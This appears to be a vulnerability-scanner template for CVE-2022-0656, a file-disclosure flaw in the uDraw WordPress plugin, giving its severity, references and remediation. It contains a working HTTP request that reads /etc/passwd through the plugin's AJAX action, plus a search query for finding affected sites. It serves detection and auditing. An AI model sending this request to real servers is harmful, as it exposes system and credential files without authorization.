50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2022-0656
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info:
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name: uDraw <3.3.3 - Local File Inclusion
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author: akincibor
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severity: high
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description: uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
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remediation: |
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Upgrade uDraw to version 3.3.3 or later to mitigate the vulnerability.
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reference:
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- https://wpscan.com/vulnerability/925c4c28-ae94-4684-a365-5f1e34e6c151
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- https://nvd.nist.gov/vuln/detail/CVE-2022-0656
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2022-0656
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cwe-id: CWE-552
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epss-score: 0.00651
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epss-percentile: 0.77105
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cpe: cpe:2.3:a:webtoprint:web_to_print_shop\:udraw:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: webtoprint
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product: web_to_print_shop\
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google-query: inurl:"/wp-content/plugins/udraw"
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tags: wp,wordpress,wp-plugin,unauth,cve,cve2022,lfi,udraw,wpscan
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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action=udraw_convert_url_to_base64&url=/etc/passwd
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "cm9vd" # root in base64
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- "data:image\\/;base64"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100b77a3bf2aaef788391c5d7798b1f2f451135fdb75ef9fa3c99e4a09dc347e45c022100b3221433337f69a77999738e142c686fd964a51ff8d7a6b0fbd000db1064dd98:922c64590222798bb761d5b6d8e72950 |